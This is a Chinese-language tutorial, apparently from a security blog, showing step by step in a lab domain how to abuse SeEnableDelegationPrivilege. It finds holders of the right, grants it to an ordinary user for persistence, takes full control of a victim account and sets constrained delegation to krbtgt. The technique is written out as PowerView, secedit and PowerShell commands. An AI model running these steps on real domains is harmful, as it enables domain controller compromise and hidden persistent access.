SeEnableDelegationPrivilege

SeEnableDelegationPrivilege是在域控制器的本地安全策略中控制的用户权限,并通过组策略进行管理。该权限配置在本地策略中的用户权限分配,策略名为:信任计算机和用户帐户可以执行委派"

image.png
image.png

如果得到一个拥有此权限的域用户,那么就可以通过设置委派来攻击域控或者当你得到域控权限的时候通过给某用户添加SeEnableDelegationPrivilege来进行域控权限维持,下文将讲解一下利用过程。

注: 更多权限请查看微软手册:User Rights?redirectedfrom=MSDN)

寻找域中分配了SeEnableDelegationPrivilege的用户

GPO

域上一般默认有两个GPO:Default Domain PolicyDefault Domain Controllers Policy,这只是他们显示的名称,他们实际名称为它们的GUID,分别为:{31B2F340-016D-11D2-945F-00C04FB984F9}{6AC1786C-016F-11D2-945F-00C04fB984F9}

可以通过powerview枚举域中的所有GPO

1
Get-DomainGPO

查找指定GPO

1
Get-DomainGPO -Identity "Default Domain Controllers Policy"

其中gpcfilesyspath为该GPO策略文件的位置。

image.png
image.png

我们可以通过GPODefault Domain Controllers PolicyGptTmpl.inf文件来寻找域中哪些用户(组)分配了SeEnableDelegationPrivilegeGptTmpl.inf文件位于\\<domain>\SYSVOL\<domain>\Policies\{6AC1786C-016F-11D2-945F-00C04fB984F9}\MACHINE\Microsoft\Windows NT\SecEdit\GptTmpl.inf

1
type "\\test.local\SYSVOL\test.local\Policies\{6AC1786C-016F-11D2-945F-00C04fB984F9}\MACHINE\Microsoft\Windows NT\SecEdit\GptTmpl.inf"
image.png
image.png

secedit

还可以通过secedit来查看,和GPO一个道理

注: secedit为组策略的命令行版本

1
secedit /export /cfg secpolicy.inf /areas USER_RIGHTS

参数:

/export:导出组策略

/cfg:指定安全模板的路径和名称

/areas:指定允许系统的安全区域,我们这里是USER_RIGHTS:指定登录用户的权限和允许特权

image.png
image.png

powershell

powershell的话可以使用UserRights,下载地址:地址

image.png
image.png

另外还可以使用powerview

1
2
$p = Get-DomainPolicy -Source DC
$p["Privilege Rights"]
image.png
image.png

指定用户添加SeEnableDelegationPrivilege

默认情况下,只有BUILTIN\Administrators的成员(即Domain Admins/Enterprise Admins/etc)拥有SeEnableDelegationPrivilege权限,普通用户是没有此权限的,所有下面将列举给普通用户添加SeEnableDelegationPrivilege权限的方法。

GPO

通过修改{6AC1786C-016F-11D2-945F-00C04fB984F9}GptTmpl.inf文件就可以给指定用户添加SeEnableDelegationPrivilege权限。

将用户SID或用户名添加到[Privilege Rights]下的SeEnableDelegationPrivilege中,当DC重启/注销或者刷新其组策略时,该设置就会生效。

image.png
image.png

添加之后刷新组策略让其设置生效

1
gpupdate /force

使用powerview验证是否成功添加

1
2
3
$p = Get-DomainPolicy -Source DC
$p.PrivilegeRights
"S-1-5-21-662417213-3583657854-423750704-1001" |Convert-SidToName
image.png
image.png

secedit

导出配置文件

1
secedit /export /cfg secpolicy.inf /areas USER_RIGHTS

导出之后,在[Privilege Rights]项下的SeEnableDelegationPrivilege添加用户的SID或者用户名

image.png
image.png

将修改之后的配置覆盖掉当前设置

1
secedit /configure /db secedit.sdb /cfg secpolicy.inf /overwrite /areas USER_RIGHTS
image.png
image.png

powershell

使用UserRight给指定用户添加权限

1
Grant-UserRight -Account qiyou -Right SeEnableDelegationPrivilege

验证

1
Get-AccountsWithUserRight -Right SeEnableDelegationPrivilege
image.png
image.png

寻找一个受害者

当得到SeEnableDelegationPrivilege权限之后,我们需要寻找一个域内对象来做为受害者(也可以是自己),这里就以其它用户test为例

注: 如果受害者是自己那么不用接下来的这些操作了,直接设置委派就可以了

添加对指定用户的完全访问权限,这添加qiyoutest的完全访问权限

1
Add-DomainObjectAcl -TargetIdentity 'f9f0db29-83b3-4a0c-8966-e1db3371d028' -PrincipalIdentity qiyou -Rights All
image.png
image.png

验证权限

1
Get-DomainObjectAcl -Identity test | ?{$_.SecurityIdentifier -match "S-1-5-21-662417213-3583657854-423750704-1001"}

可以看到用户qiyou对用户test已经拥有了完全访问权限GenericAll,这时候我们可以不知道用户test密码情况下强行更改用户test的密码、注册SPN等等。

image.png
image.png

现在切换到登陆了qiyou这个用户的另外一台域内主机

qiyou的身份给用test注册SPN和修改密码

image.png
image.png

然后给用户test设置约束委派

1
2
3
Import-Module .\Microsoft.ActiveDirectory.Management.dll
$user = Get-ADUser test
Set-ADObject $user -Add @{ "msDS-AllowedToDelegateTo" = @("krbtgt/test.local")}
image.png
image.png

验证是否成功添加

1
Get-DomainUser –TrustedToAuth -domain test.local -Properties distinguishedname,useraccountcontrol,msds-allowedtodelegateto|fl
image.png
image.png

然后就可以通过约束委派去攻击域控了,关于约束委派攻击可以参考这篇文章:地址,我这里就不多赘述了

Reference

https://www.harmj0y.net/blog/activedirectory/the-most-dangerous-user-right-you-probably-have-never-heard-of/

https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-R2-and-2012/dn221963(v=ws.11)?redirectedfrom=MSDN?redirectedfrom=MSDN)